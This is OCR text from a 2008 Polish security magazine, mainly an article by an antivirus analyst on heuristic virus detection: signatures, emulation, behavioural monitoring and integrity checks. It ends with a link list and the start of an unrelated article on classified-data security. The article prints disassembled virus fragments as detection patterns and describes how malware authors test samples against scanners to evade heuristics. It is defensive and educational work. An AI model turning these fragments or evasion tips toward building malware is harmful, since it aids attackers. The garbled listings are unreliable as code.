nie znajdują się bajty reprezentu-
jące instrukcje, których ciąg może
stanowić wzorzec służący do wy-
krycia wirusa.

Ponieważ wirus ten uzyskuje do-

stęp do własnych danych techni-
ką delta offset (tu względem reje-

stru ebp), w innych wersjach wirusa,
po wprowadzeniu do niego niewiel-
kiej zmiany, adresy mogą się zmie-
nić. Aby uogólnić ten wzorzec na in-
ne wersje, możemy zastąpić część
bajtów znakiem zastępczym odpo-
wiadającym podczas dopasowywa-
nia za dowolny bajt (Listing 2).

W ostatniej linii mamy skok wa-

runkowy, którego adres docelowy
jest offsetem względem aktualnej
instrukcji. Po dodaniu do wirusa do-
datkowych rozkazów offset ten może
się zmienić, więc w miejsce tych baj-
tów możemy wstawić znaki zastęp-
cze lub całkiem je wyciąć, ponieważ
znajdują się na końcu scan-stringa.
Dzięki powyższym zabiegom scan-
string będzie potrafił wykryć zarów-
no nowe wersje tego wirusa, jak też
wszystkie wirusy, które zawierają
opisany wzorzec. Ponieważ autorzy
niebezpiecznych programów często
wykorzystują fragmenty istniejące-
go złośliwego kodu, możliwe jest wy-
branie wzorca wychwytującego zu-
pełnie nowe zagrożenia.

Zbytnie skracanie i uogólnianie

scan-stringów może powodować
fałszywe alarmy. Rozwiązaniem

tego problemu jest stosowanie kil-
ku krótkich wzorców, które mu-
szą znajdować się w badanym pli-
ku, aby stwierdzić obecność wiru-
sa. Od tego podejścia już tylko krok
do heurystyki statycznej, czyli naj-
popularniejszej metody heurystycz-
nego wykrywania wirusów.

Heurystyka

Heurystykę w programach antywi-
rusowych można podzielić na kilka
kategorii w zależności od sposo-
bu działania. Najczęstszym spoty-
kanym podziałem jest wyszczegól-
nienie heurystyki statycznej i dy-
namicznej. Do metod heurystycz-
nych zalicza się również analizę
behawioralną oraz sprawdzanie
integralności. Przypatrzmy się po-
szczególnym typom i przeanalizuj-
my ich wady i zalety.

Heurystyka statyczna

Heurystyka statyczna opiera się na
analizie obiektu w postaci, w jakiej
zostanie on przekazany do analizy;
na traktowaniu obiektu jako ciągu
bajtów. Analiza taka bazuje na dys-
kryminatorach zebranych z istnieją-
cych niebezpiecznych programów,
czyli na cechach odróżniających nie-
bezpieczne programy od czystych
plików. Aby analizowany obiekt zo-
stał uznany za podejrzany, musi za-
wierać określoną liczbę dyskrymina-
torów. Dyskryminatory najczęściej
są ciągami bajtów, ale mogą być
związane np. z nietypowym wyglą-
dem pliku wykonywalnego.

Rozpatrzmy przykład wykrywa-

nia typowego, napisanego w asem-
blerze wirusa za pomocą heurysty-
ki statycznej. Typowy wirus infekuje
plik wykonywalny poprzez dołącze-
nie do niego swojego kodu, następ-
nie przeszukuje dysk w celu znale-

Listing 1.

Fragment wirusa asemblerowego nadający się na wzorzec

8BBDAA174000

mov

edi

ebp

][

004017AA

]

8B7778

mov

esi

[

edi

][

]

03B59E174000

add

esi

ebp

][

0040179E

]

8B7E0C

mov

edi

esi

][

]

03BD9E174000

add

edi

[

ebp

][

0040179E

]

813F4B45524E

cmp

[

edi

]

04E52454B

;"NREK"

0F857C000000

jne

001013F35

Rysunek 1.

Wykrywanie reakcyjne (Reactive) kontra heurystyczne

(Proactive)

��
��

��

��
��

�

��

hakin9 Nr 01/2008

www.hakin9.org

Obrona

zienia innych plików podatnych na
infekcję. Aby wykryć wirusa przy
użyciu heurystyki statycznej, musi-
my zgromadzić kolekcję mikrowzor-
ców, których występowanie będzie
świadczyło o podejrzanym dzia-
łaniu. Stworzenie użytecznej ba-
zy mikrowzorców wymaga wiedzy
na temat zasady działania wirusów
i technik w nich stosowanych.

Mikrowzorcem może być przy-

kładowo pobranie offsetu delta,
które można znaleźć w większo-
ści wirusów plikowych. Offset delta
pobierany jest przez wirusa w celu
ustalenia adresu początku samego
siebie. Jest on wirusowi potrzeb-
ny, jeżeli chce w prosty sposób ko-
rzystać z danych, które są zawarte
w obszarze wirusa. Popularną me-
todą ustalenia offsetu delta jest se-
kwencja rozkazów:

E800000000 call $+5
5D pop ebp
ED sub ebp, ????????

co przekłada się na mikrowzorzec

E8000000005DED

Występowanie tego mikrowzorca

może sugerować, że ciąg bajtów jest
kodem, który został dopisany do pli-
ku wykonywalnego. Innym przykła-
dem mikrowzorca może być spraw-
dzanie formatu pliku PE32 przed in-
fekcją lub podczas poszukiwania
w pamięci adresów funkcji API, za
pomocą porównań z charaktery-
stycznymi oznaczeniami MZ i PE.

Jego adres znajduje się pod offse-
tem 3C względem MZ (Listing 3).

W tym przykładzie za uogólniony

scan-string może służyć ciąg bajtów

4D5A75*8B*3C*504575,

gdzie * to 1-10

dowolnych znaków. Innymi mikrow-
zorcami infektorów plików mogą być
nazwy funkcji API pojawiające się
nie w sekcji importów, teksty *.exe,
„*.*”, będące specyfikacją dla wyszu-
kiwania plików do zarażenia lub war-
tości CRC32 policzone z nazw API
(wiele wirusów, szczególnie wzoro-
wanych na napisanych przez grupę
29A, korzystało z procedury wyszu-
kiwania adresów API bazującej na
sumie kontrolnej nazwy).

W przypadku złośliwych progra-

mów pisanych w językach wysokie-
go poziomu podejrzane może być
występowanie tekstów określają-
cych klucze rejestru odpowiedzialne
za autostart aplikacji w systemie (np.
SOFTWARE\Microsoft\Windows\
CurrentVersion\Run), fragmenty, z któ-
rych składane są maile (np. MA-
IL FROM:) czy adresy blokowanych
stron WWW (np. windowsupda-
te.microsoft.com). Wykrywanie heu-

rystyczne niebezpiecznego opro-
gramowania tworzonego w języ-
kach wysokiego poziomu jest jednak
znacznie bardziej skomplikowane niż
wykrycie kodu asemblerowego.

W celu zwiększenia jakości kla-

syfikacji przy użyciu heurystyki sta-
tycznej można połączyć mikrow-
zorce z nietypowym wyglądem pli-
ku spowodowanym modyfikacjami
przeprowadzonymi podczas infek-
cji. Przykładowo za nietypowe moż-
na uznać sytuacje, gdy:

• punkt wejścia do programu (Entry-

Point) wskazuje na ostatnią sek-
cję, która nie jest sekcją kodu (wi-
rus dopisał się do ostatniej sekcji),

• entryPoint wskazuje na wnętrze

nagłówka pliku PE (małe wirusy
platform Win9x umieszczały się
w nagłówku pliku),

• sekcja kodu posiada oprócz atry-

butu wykonywalne, także odczyt
i zapis (częste w przypadku wi-
rusów polimorficznych),

• sekcja relokacji lub sekcja zasobów

jest większa, niż być powinna.

Utrudnieniem techniki wykrywania
wirusów według nietypowego wy-
glądu stały się popularne ostatnio
kompresory (np. UPX) i protekto-
ry (np. Asprotect) plików wykony-
walnych, które wprowadzają typo-
we dla wirusów modyfikacje. Moż-
liwe jest zidentyfikowanie protekto-
ra i zignorowanie go przy tego typu
detekcji, ale – szczególnie w przy-
padku protektorów o otwartych źró-
dłach – protektory są często mody-
fikowane i zidentyfikowanie wszyst-
kich ich wersji jest kłopotliwe. Z dru-
giej strony samo występowanie za-
bezpieczenia w pliku stanowi pierw-
szą oznakę, że autor programu ma
coś do ukrycia i jest to podejrzane.

Listing 2.

Istotne informacje z fragmentu wirusa asemblerowego

8BBD????????

mov

edi

ebp

][

????????

]

8B7778

mov

esi

edi

][

]

03B5????????

add

esi

ebp

][

????????

]

8B7E0C

mov

edi

esi

][

]

03BD????????

add

edi

ebp

][

????????

]

813F4B45524E

cmp

edi

04E52454B

;"NREK"

0F85

jne

????????

Rysunek 2.

Epidemia robaka Bagle.AS. (Źródło: www.virus-radar.com)

��

�

��

�

��

Heurystyka w programach antywirusowych

hakin9 Nr 01/2008

www.hakin9.org

Zaletą heurystyki statycznej jest

duża szybkość działania – tym więk-
sza, że analizowane obszary zwykle
nie są duże i można w całości wczy-
tać je do pamięci. Jej wadą jest ogra-
niczone pole analizy umożliwiają-
ce wykrycie jedynie tych zagrożeń,
które posiadają często występujące
cechy. Heurystyka taka potrafi prze-
analizować jedynie kod, który nie jest
zaszyfrowany, ale po uzyskaniu po-
staci zdeszyfrowanej (np. za pomo-
cą emulacji) można ją przekazać po-
nownie do skanowania przy użyciu
heurystyki statycznej.

Po znalezieniu w analizowa-

nym obiekcie wystarczającej licz-
by charakterystycznych cech może-
my stwierdzić, że obiekt jest niebez-
pieczny. Heurystyka statyczna dla in-
nych rodzajów wirusów, na przykład
skryptowych lub makrowirusów, two-
rzona jest w sposób analogiczny.

Heurystyka dynamiczna

Heurystyką dynamiczną nazywa
się analizę przeprowadzaną pod-
czas działania podejrzanego pro-
gramu, dzięki czemu możliwe jest
poznanie zachowania obiektu lub
uzyskanie postaci obiektu dającej
więcej informacji. Zwykle taką ana-
lizę przeprowadza się podczas uru-
chomienia podejrzanego progra-
mu w środowisku bezpiecznym,
za pomocą emulatora procesora
i systemu operacyjnego. Środowi-

sko takie nazywane jest piaskow-
nicą (ang. sandbox). Program
w niej uruchomiony – niczym dziec-
ko znajdujące się w piaskownicy –
nie może popsuć niczego, co znaj-
duje się poza nią, a jego działania
można obserwować i analizować.
Do heurystyki dynamicznej można
zaliczyć również analizę behawio-
ralną przeprowadzaną na działa-
jącym systemie, o której więcej bę-
dzie w dalszej części tekstu.

Emulatory w programach anty-

wirusowych początkowo tworzone
były w celu odszyfrowania części
zaszyfrowanej wirusów polimor-
ficznych. Wykonywały polimorficz-
ny kod wirusa do czasu, aż zakoń-
czył on deszyfrację, co najczęściej
wiązało się z wywołaniem funkcji
systemowej. Następnie rozszerzo-
no ich funkcjonalność o możliwość
analizy behawioralnej, więc wywo-
łanie funkcji systemowej nie kończy

działania, ale jest również emulo-
wane zgodnie z zachowaniem rze-
czywistego systemu operacyjnego.
Wykonując program w bezpiecz-
nym środowisku można spraw-
dzić, jakie akcje próbuje on podjąć
i stwierdzić w ten sposób, czy sta-
nowi potencjalne zagrożenie.

Innymi podejrzanymi zachowa-

niami, które może wykryć heurysty-
ka dynamiczna, są na przykład: li-
niowa modyfikacja obszaru pamię-
ci, a potem skok w zmodyfikowany
obszar (deszyfracja, często stoso-
wana w wirusach polimorficznych),
wykonywanie pustych pętli, któ-
re nie modyfikują stanu rejestrów
procesora ani pamięci (sztucz-
ka utrudniająca analizę programu
i spowalniająca emulację), czy wy-
konywanie kodu w obszarze sto-
su. Wszystkie te cechy świadczą
o tym, że wykonywany program nie
jest programem normalnym.

Wśród twórców wirusów istnie-

je przekonanie, że skomplikowanie
kodu polimorficznego utrudnia zna-
lezienie wirusa w pliku. Nic bardziej
mylnego. Sam kod polimorficzny
i metamorficzny jest relatywnie pro-
sty do wykrycia, gdyż jest całkowi-
cie różny od kodu wygenerowanego
przez kompilator, a nawet od kodu
asemblerowego stworzonego przez
człowieka. Generatory polimorficzne
tworzą znaczną liczbę instrukcji lub
zestawów instrukcji nic nierobiących,
tzw. śmieci. Kod ten, całkowicie nie-
zoptymalizowany, daje się za pomo-
cą mniej lub bardziej skomplikowa-
nych metod zidentyfikować i potrak-
tować jako podejrzane zachowanie.
Ponieważ protektory plików wykony-
walnych również zawierają polimor-

Listing 3.

Fragment wirusa infekującego pliki. Sprawdzenie nagłówka

pliku

66813A4D5A

cmp

edx

05A4D

;"ZM"

75F8

jne

00040106E

8BCA

mov

ecx

edx

8B493C

mov

ecx

][

]

03CA

add

ecx

edx

3BC8

cmp

ecx

eax

7FED

00040106E

6681395045

cmp

ecx

04550

;"EP"

75E6

jne

00040106E

Rysunek 3.

Fragmenty dwóch wersji robaka Agobot

hakin9 Nr 01/2008

www.hakin9.org

Obrona

ficzne deszyfratory, ich nowe wersje
mogą być fałszywie identyfikowane
powyższymi metodami.

Stosowanie emulacji w proce-

sie analizy ma kilka istotnych minu-
sów. Główną wadą jest relatywnie
niewielka szybkość działania same-
go emulatora, a dodatkowe spraw-
dzenia wykonywane podczas ana-
lizy heurystycznej jeszcze emula-
cję spowalniają. Duże znaczenie
dla szybkości działania ma też pro-
blem stopu, czyli stwierdzenie, kie-
dy emulacja powinna się zakończyć.
Choć powstało wiele metod przy-
spieszających działanie emulatorów
i wciąż powstają nowe (np. wyko-
rzystanie wirtualizacji procesorów),
istnieje kilka barier nie do pokona-
nia. Najtrudniejszą z nich jest niede-
terministyczność wykonywania ko-
du. Dla niebezpiecznego programu
nie jest problemem, jeżeli zadziała
raz na kilka uruchomień. Może być
to spowodowane wywołaniem funk-
cji zwracającej losową wartość lub
warunkami logicznymi, które środo-
wisko musi spełnić. Emulator dzia-
łający w sposób deterministyczny
nie jest w stanie obsłużyć tych sytu-
acji, ponieważ emulacja podąża jed-
ną ścieżką, nie badając wszystkich
możliwych rozgałęzień kodu. Zatem
emulator może pójść ścieżką, któ-
ra kończy działanie niebezpieczne-
go programu, przez co nie będzie
można stwierdzić podejrzanego za-
chowania. Autorzy niebezpiecznego
oprogramowania starają się również

wykrywać uruchomienie w sztucz-
nym środowisku i reagować na nie,
ukrywając swoją obecność. Innym
przykładem niedeterministyczności
może być odmienne działanie pro-
gramu w różnych wersjach systemu
operacyjnego. Przed twórcą emula-
tora pozostaje problem wyboru, któ-
rą wersję emulować.

Analiza behawioralna

Każdy proces działający w trybie
użytkownika musi komunikować się
z systemem operacyjnym za pomo-
cą udostępnionego interfejsu API.
W trybie tym pracują wszystkie stan-
dardowe aplikacje, w tym większość
niebezpiecznych programów, po-
nieważ nie muszą do działania uzy-
skiwać nadzwyczajnych uprawnień
w systemie. Monitorując wywoła-
nia funkcji systemowych jesteśmy
w stanie uzyskać dokładne informa-
cje na temat zachowania analizowa-
nego programu. Monitorowanie mo-
że odbywać się albo podczas emu-
lacji w środowisku bezpiecznym, al-
bo w działającym systemie. Monito-
rowanie działającego systemu, mi-
mo jego spowolnienia, zyskuje coraz
większą popularność, ponieważ jest
w stanie wykryć zagrożenia, którym
emulacja nie jest w stanie sprostać.

Zaletą analizy behawioralnej jest

przeniesienie klasyfikacji na znacz-
nie wyższy poziom abstrakcji. Nie
operujemy w tym przypadku na po-
jedynczych instrukcjach kodu ma-
szynowego, ale w domenie opisanej

przez zachowania. Unikamy w ten
sposób problemów wynikających
z różnic w kodzie, które szczególnie
widoczne są w przypadku progra-
mów wygenerowanych przez kom-
pilatory języków wysokiego pozio-
mu (Rysunek 3). Co więcej, zmiany
wprowadzane w kolejnych wersjach
niebezpiecznego oprogramowania
zwykle w niewielki sposób zmie-
niają jego zachowanie, gdyż auto-
rzy zwiększają, co najwyżej, funk-
cjonalność programu.

Przykładowo, wykorzystując emu-

lator możemy stwierdzić, że program
wykonuje podejrzaną sekwencję wy-
wołań systemowych i określić obiekt
jako nowego wirusa lub jako odmia-
nę istniejącego. Większość wirusów
działających pod Windows na począt-
ku działania pobiera z systemu adresy
funkcji, które będą wykorzystywane.
Zakładając, że adres 0x77e60000 jest
adresem biblioteki KERNEL32.DLL
w pamięci procesu, pobieranie listy
wygląda następująco (wynik progra-
mu TraceApi na wirusie Win32.Miam).
Patrz Listing 4.

Pobranie adresów wykorzysty-

wanych funkcji API jest dla wirusa
niezbędne w sytuacji, gdy chce on
skorzystać z funkcji systemowych,
które nie znajdują się w Import Ad-
dress Table infekowanego pliku. Se-
kwencje takie można znaleźć w wi-
rusach asemblerowych i takie za-
chowanie świadczy o działaniu dołą-
czonego do programu wirusa.

Oczywiście heurystyczna klasy-

fikacja behawioralna może dotyczyć
wszystkich czynności, które wykonu-
je analizowany program, a które mo-
gą być niebezpieczne. Najczęściej
monitorowanie behawioralne doty-
czy typowych działań niebezpiecz-
nych programów, jakimi są:

• modyfikacja plików wykonywal-

nych,

• pobieranie i uruchamianie plików

z Internetu,

• wysyłanie listów za pomocą wła-

snego silnika SMTP,

• modyfikacja rejestru,
• modyfikacja plików systemowych,
• zabijanie procesów (np. progra-

mów antywirusowych),

Listing 4.

Początek logu programu TraceApi na wirusie Win32.Miam

GetProcAddress

(

77e60000

GetModuleHandleA

)

GetProcAddress

(

77e60000

GetCurrentDirectoryA

)

GetProcAddress

(

77e60000

FindFirstFileA

)

GetProcAddress

(

77e60000

FindNextFileA

)

GetProcAddress

(

77e60000

CreateFileA

)

GetProcAddress

(

77e60000

GetFileSize

)

GetProcAddress

(

77e60000

LocalAlloc

)

GetProcAddress

(

77e60000

ReadFile

)

GetProcAddress

(

77e60000

SetFilePointer

)

GetProcAddress

(

77e60000

WriteFile

)

GetProcAddress

(

77e60000

CloseHandle

)

GetProcAddress

(

77e60000

LocalFree

)

GetProcAddress

(

77e60000

GetLocalTime

)

GetProcAddress

(

77e60000

SetCurrentDirectoryA

)

GetProcAddress

(

77e60000

GetWindowsDirectoryA

)

GetProcAddress

(

77e60000

GetSystemDirectoryA

)

GetModuleHandleA

(

User32

dll

)

Heurystyka w programach antywirusowych

hakin9 Nr 01/2008

www.hakin9.org

• modyfikacja innych procesów,
• szpiegowanie klawiatury,
• nasłuchiwanie na otwartych por-

tach,

• praca programu bez widocznego

okna.

Problemem dla monitorów beha-
wioralnych mogą być aplikacje wie-
lowątkowe, ponieważ monitor mu-
si skupić się albo na czynnościach
wykonywanych globalnie przez ca-
łą aplikację, albo na czynnościach
wykonywanych przez poszczegól-
ne wątki. Większość współcześnie
tworzonego niebezpiecznego opro-
gramowania działa jednak w jed-
nym wątku.

Monitory behawioralne posiadają

zwykle rozbudowywaną bazę fałszy-
wych alarmów, gdyż niebezpieczne
programy pisane w językach wyso-
kiego poziomu charakteryzują się
pod względem zachowania wysokim
podobieństwem do plików czystych.
Przykładowo moduły autoaktualiza-
cji programów są pod względem za-
chowania bardzo podobne do popu-
larnych downloaderów.

Oprócz przeprowadzania skom-

plikowanej analizy zachowań, blo-
kowane mogą być wszystkie po-
tencjalnie niebezpieczne akcje, ta-
kie jak wstrzykiwanie kodu do in-
nych procesów i tworzenie w nich
zdalnych wątków czy automatycz-
ne uruchamianie makr MS Office.
Co więcej, niektóre programy anty-
wirusowe blokują wykonanie przez
użytkownika wszystkich skryptów
(.vbs, .bat, .cmd), traktując je jako
potencjalnie niebezpieczne.

Również monitorowanie dostępu

do rejestru staje się elementem pro-
gramów antywirusowych. Wymaga
jednak interaktywnego stwierdzenia,
czy dana modyfikacja była zamierzo-
na, czy nie, co jest kłopotliwe dla nie-
doświadczonego użytkownika.

Sprawdzanie

integralności

Najprostszym podejściem do heu-
rystycznego wykrywania obecno-
ści niebezpiecznego oprogramo-
wania jest zbadanie, czy określo-
ne obszary systemu (pliki, rejestr)

nie ulegają zmianie. Jeszcze kilka
lat temu nie było problemem mo-
nitorowanie zmian w plikach po-
przez sprawdzenie zapamiętanej
poprawnej sumy kontrolnej. Wraz
z upowszechnieniem Internetu
wzrosła liczba aplikacji, które au-
tomatycznie aktualizują się do naj-
nowszych wersji, modyfikując nie
tylko pliki danych, ale też pliki wy-
konywalne. Także sam system ope-
racyjny nie jest stały, ale modyfiko-
wany za pomocą ukazujących się
mniej lub bardziej regularnie łat.
Uwzględniając fakt, że baza sum
kontrolnych może również stać się
celem ataku, monitorowanie zmian
na podstawie sum kontrolnych jest
coraz rzadziej stosowane.

Sprawdzanie integralności dzia-

ła jednak w przypadku heurystycz-
nego wykrywania rootkitów, jak
czyni to System Virginity Verifier.
Analizuje on zmiany wprowadzone
w pamięci modułów systemowych
i porównuje je z poprawnymi war-
tościami odczytanymi z plików
(najlepiej podpisanych cyfrowo).
Jeżeli integralność modułów zo-
stanie naruszona, prawdopodobne
jest działanie rootkita, który zmo-
dyfikował system w celu ukrycia
w nim obiektów.

Integralność plików możemy

sprawdzić dzięki istnieniu coraz czę-
ściej stosowanych podpisów cyfro-
wych. Niektóre programy antywiru-
sowe nie potrafią przebić się przez
warstwy zabezpieczające plików wy-
konywalnych i wszystkie takie pli-
ki zgłaszają jako podejrzane. Jeżeli
jesteśmy twórcami oprogramowania
i chcemy zabezpieczyć program,
jednocześnie nie przyprawiając
użytkowników o palpitacje serca na
skutek fałszywego alarmu, program
taki powinniśmy podpisać. Firmy an-
tywirusowe będą dzięki temu mo-
gły zidentyfikować twórcę programu
i nie zgłaszać użytkownikowi zabez-
pieczenia jako podejrzanego.

Sprawdzanie integralności sta-

ło się jednym z podstawowych me-
chanizmów bezpieczeństwa w sys-
temie Windows Vista. Wspomnia-
ny mechanizm Kernel Patch Pro-
tection sprawdza, czy nie zostały
wprowadzone w systemie nielegal-
ne zmiany:

• modyfikowanie tablicy usług syste-

mowych (systfem service tables),

• modyfikowanie tablicy przerwań

(IDT),

• modyfikowanie tablicy globalnych

deskryptorów (GDT),

Rysunek 4.

Wizualizacja robaków InTheWild według podobieństwa

behawioralnego. Widzimy duże skupienia określające rodziny

hakin9 Nr 01/2008

www.hakin9.org

Obrona

• używanie w jądrze stosu, który nie

został przydzielony przez jądro,

• łatanie dowolnej części jądra.

Sprawą dyskusyjną jest, czy me-
chanizm ten rzeczywiście zwięk-
sza bezpieczeństwo systemu. Mo-
dyfikowanie systemu operacyjne-
go było od dawna stosowane przez
programy zabezpieczające, dzięki
czemu mogły one wykonać dodat-
kowe sprawdzenia, które uniemoż-
liwiał sam system. Przykładowo
działający w czasie rzeczywistym
system analizy zachowań musi
zintegrować się z systemem, być
bliżej systemu niż niebezpieczne
oprogramowanie, aby mógł je kon-
trolować. Istnienie Kernel Patch
Protection uniemożliwia taką in-
tegrację. Chociaż mechanizm ten
zabezpieczy system przed niektó-
rymi rootkitami, ich twórcy i tak są
w stanie go ominąć, wykorzystując
nielegalne sztuczki. Sztuczek tych
nie mogą jednak stosować produ-
cenci programów antywirusowych,
dzięki czemu złośliwe oprogramo-
wanie uzyskuje nad zabezpiecza-
jącym przewagę. Redukując moż-
liwości analizy behawioralnej Mi-
crosoft zmniejszył siłę heurystycz-
nej detekcji najpopularniejszych
zagrożeń, czyli działających w try-
bie użytkownika.

Wykrywanie anomalii

Kiedy mówimy o heurystycznej de-
tekcji niebezpiecznego oprogramo-
wania, możemy wyróżnić dwa typy
klasyfikacji, które faktycznie są wy-
krywaniem anomalii:

• wszystko, co nie jest podobne

do normalnego programu, jest
niebezpieczne,

• wszystko, co jest podobne do

niebezpiecznego programu, jest
niebezpieczne.

Pierwszy rodzaj wykrywania ano-
malii był skuteczny w przypadku in-
fektorów plików. Wykrywanie poli-
morfizmu i metamorfizmu, nietypo-
wej budowy plików czy kodu asem-
blerowego w punkcie wejścia pro-
gramu pozwalało na odróżnienie

plików bezpiecznych od zainfeko-
wanych. W momencie, gdy auto-
rzy złośliwych programów prze-
rzucili się na języki wysokiego po-
ziomu, programy bezpieczne i nie-
bezpieczne stały się zbyt podob-
ne, by można je było łatwo rozróż-
nić. Twórcom heurystyk pozostało
poszukiwanie podobieństw złośli-
wych programów do innych złośli-
wych programów. Co to oznacza?
Współcześnie nie jest możliwe wy-
krycie całkowicie nowego typu za-
grożenia, gdy nie ma ono cech
wspólnych z już istniejącymi.

Na szczęście dla użytkowni-

ków (i twórców programów antywi-
rusowych), autorzy złośliwych pro-
gramów wprowadzają w kolejnych
wersjach niewielkie zmiany, bazu-
ją na istniejących rozwiązaniach
i używają do zabezpieczenia plików
popularnych narzędzi. Dzięki temu
nowe zagrożenia posiadają wiele
cech wspólnych na wszystkich po-
ziomach, od podobieństwa binar-
nego, aż do podobieństwa opisane-
go w domenie zachowań (Rysunek
4). Już po otrzymaniu jednej prób-
ki program antywirusowy, wykorzy-
stujący zaawansowaną heurystykę,
jest w stanie wykryć wszystkie wa-
rianty tego zagrożenia.

Oszukiwanie heurystyki

Teoretycznie detekcja niebezpiecz-
nego programu, którego autor po-
starał się, żeby program nie był wy-
kryty, jest bardzo trudna. W sytu-
acji, gdy autor złośliwego programu
napisze go od podstaw, nie wzoru-
jąc się na istniejących rozwiąza-
niach, istnieje dość nikła szansa,
że algorytm heurystyczny go wy-
kryje. Jeszcze mniejsze jest praw-

dopodobieństwo wykrycia takiego
zagrożenia przy użyciu uogólnio-
nego wzorca. Co więcej, na sku-
tek dostępności darmowych lub te-
stowych wersji programów antywi-
rusowych, autor nowego programu
może sprawdzić, czy jest on wykry-
wany metodami heurystycznymi.
W takim przypadku może modyfi-
kować go do czasu, aż przestanie
być uznawany za podejrzany. Ist-
nieją również serwisy online ska-
nujące plik dużą liczbą silników an-
tywirusowych, takie jak Jotti's mal-
ware scan czy VirusTotal, z których
twórca robaka czy trojana może
skorzystać.

Z tego powodu firmy antywiruso-

we trzymają w rękawie kilka asów,
jakimi są niedostępne ogólnie me-
chanizmy detekcji, które umożliwia-
ją wczesne wykrycie nowego zagro-
żenia i dostarczenie próbki do firmy
w celu błyskawicznego przygotowa-
nia remedium.

Podsumowanie

Heurystyka w programach anty-
wirusowych ewoluuje wraz z za-
grożeniami. Programy antywiruso-
we od kilku lat nie służą jedynie
do wykrywania i usuwania wiru-
sów komputerowych, ale skupiają
się na ochronie użytkownika przed
szerokim wachlarzem ataków. Sta-
ły się pakietami zabezpieczający-
mi przed złośliwym oprogramo-
waniem, włamaniami, phishingiem,
rootkitami, a nawet spamem. Do
ich wykrycia mogą wykorzystać al-
bo wzorce, albo mechanizmy pre-
wencyjne, jakimi są współcześnie
heurystyki. Co jest skuteczniej-
sze? Wiadomo – lepiej zapobie-
gać, niż leczyć. l

O autorze

Jakub Dębski, starszy analityk w firmie ESET (producent programu NOD32), spe-
cjalizującej się w ochronie proaktywnej z wykorzystaniem najbardziej zaawanso-
wanych mechanizmów analizy heurystycznej. Wcześniej wieloletni pracownik pol-
skich firm antywirusowych. Był kierownikiem projektu silnika mks_vir, następnie
ArcaVir. Studia na Wojskowej Akademii Technicznej ukończył obroną pracy dy-
plomowej na temat wykorzystania sieci neuronowych w detekcji zagrożeń inter-
netowych.
Kontakt z autorem:debski.jakub@wp.pl

Strony rekomendowane

Misją serwisu jest zaprezentowanie języ-

ków programowania oraz ułatwienie użyt-

kownikowi ich szybkiej nauki.

http://www.cjp.xt.pl

Strona firmy świadczącej profesjonalne

usługii IT, specjalizującej się w wypożycza-

niu serwerów i macierzy. Firma prowadzi

także centrum szkoleniowe.

http://www.itlpolska.pl

Portal poświęcony technikom programo-

wania oraz sposobom ochrony przed za-

grożeniami jakie płyną z Internetu. Przedsta-

wione techniki służą do celów edukacyjnych,

nie należy ich wykorzystywać w niewłaści-

wy sposób.

http://www.hackerzy.pl

Portal internetowy poświęcony w całości

branży IT. Podzielony jest na trzy działy po-

święcone sprzętowi komputerowemu, grom

i rozrywce oraz najnowszym aplikacjom.

http://www.pcarena.pl/index.php

Do niedawna termin hacking był zarezerwo-

wany tylko dla profesjonalistów. Na tym por-

talu można dowiedzieć się więcej o tym za-

gadnieniu. Znajdują się na nim również aktu-

alności i obszerny dzial downloads.

http://www.hakerczat.prv.pl/index.html

Jest to portal dla wszystkich co interesują

się tematyką bezpieczeństwa, audytem, IT

Governance w sieciach i systemach telein-

formatycznych, a także ochroną danych.

http://www.locos.pl/

Witryna poświęcona w całości tematy-

ce hakingu. Początkujący w tej dziedzinie

znajdą na niej działy, ktore im umożliwią

rozpoczęcie nauki.

http://www.haker.ocom.pl/

Misją serwisu jest dostarczenie dużej ilo-

ści informacji z zakresu informatyki. Znaj-

dują się na nim ciekawe artykuły, najśwież-

sze informacje z rynku IT, recenzje książek

jak i kursy tworzenia portali www.

http://www.swww.pl/

Serwis poświęcony branży IT oferujący

codzienne newsy, artykuły, recenzje ma-

gazynów, testy oraz forum dyskusyjne.

http://www.webhat.pl/index.php

Strona dla każdego webmastera i hackera.

Jeśli zawsze chciałeś stworzyć swoją stro-

nę internetowej lub poznać haking od pod-

szewki, to ten serwis ci w tym pomoże.

http://web4u.neth.pl/

Strona internetowa firmy Fit Consulting spe-

cjalizującej się w nowoczesnych rozwią-

zaniach informatycznych, zaczynając od

sprzedaży sprzętu komputerowego i świad-

czeniu usług po zaawansowane rozwiązania

zarządzania przedsiębiorstwem.

http://www.fit-consulting.pl/

Strona koła naukowego PK IT Security Gro-

up. Koło ma na celu dostarczanie informacji

związanych z bezpieczeństwem.

http://www.pkitsec.pl/

Strony rekomendowane

www.hakin9.org

hakin9 Nr 01/2008

Bezpieczna Firma

agadnienie bezpieczeństwa syste-
mów teleinformatycznych nabiera co-
raz większego znaczenia, ponieważ to

w nich informacja jest coraz częściej prze-
twarzana i przechowywana. Pod pojęciem
bezpieczeństwa teleinformatycznego infor-
macji niejawnych należy rozumieć ochro-
nę informacji niejawnych, które przetwarza-
ne są w systemach i sieciach teleinforma-
tycznych, przed utratą właściwości gwaran-
tujących bezpieczeństwo – a w szczególno-
ści przed utratą poufności, dostępności i in-
tegralności.

Za bezpieczeństwo przetwarzania infor-

macji niejawnych w systemach i sieciach te-
leinformatycznych odpowiada kierownik jed-
nostki organizacyjnej. Bezpieczeństwo tele-
informatyczne należy zapewnić przed rozpo-
częciem oraz w trakcie przetwarzania infor-
macji niejawnych. Rozdział 10 – Bezpieczeń-
stwo systemów i sieci teleinformatycznych
– ustawy o ochronie informacji niejawnych
określa podstawowe wymagania związane
z elektronicznym przetwarzaniem informacji
niejawnych. Szczegółowe wymagania tech-
niczne i organizacyjne związane z przetwa-
rzaniem informacji niejawnych w systemach

i sieciach teleinformatycznych oraz sposób
opracowywania dokumentacji bezpieczeń-
stwa teleinformatycznego określa zaś rozpo-
rządzenie Prezesa Rady Ministrów w sprawie
podstawowych wymagań bezpieczeństwa
teleinformatycznego. Kierownik jednostki or-
ganizacyjnej dla każdego sytemu lub sieci te-
leinformatycznej, w której przetwarza się in-
formacje niejawne, powinien wyznaczyć ad-
ministratora sytemu i inspektora bezpieczeń-
stwa teleinformatycznego. Administrator sys-
temu zgodnie z zapisami ustawy odpowiada
za funkcjonowanie systemu lub sieci telein-
formatycznej oraz za przestrzeganie zasad
i wymagań bezpieczeństwa systemów i sie-
ci teleinformatycznych, natomiast inspek-

Bezpieczeństwo

teleinformatyczne

informacji niejawnych

Andrzej Guzik

stopień trudności

Metody ochrony informacji niejawnych przetwarzanych

w systemach i sieciach teleinformatycznych, oprócz spełnienia

wymagań wynikających z przepisów prawa, wymagają

uwzględnienia wytycznych służb ochrony państwa dotyczących

bezpieczeństwa teleinformatycznego.

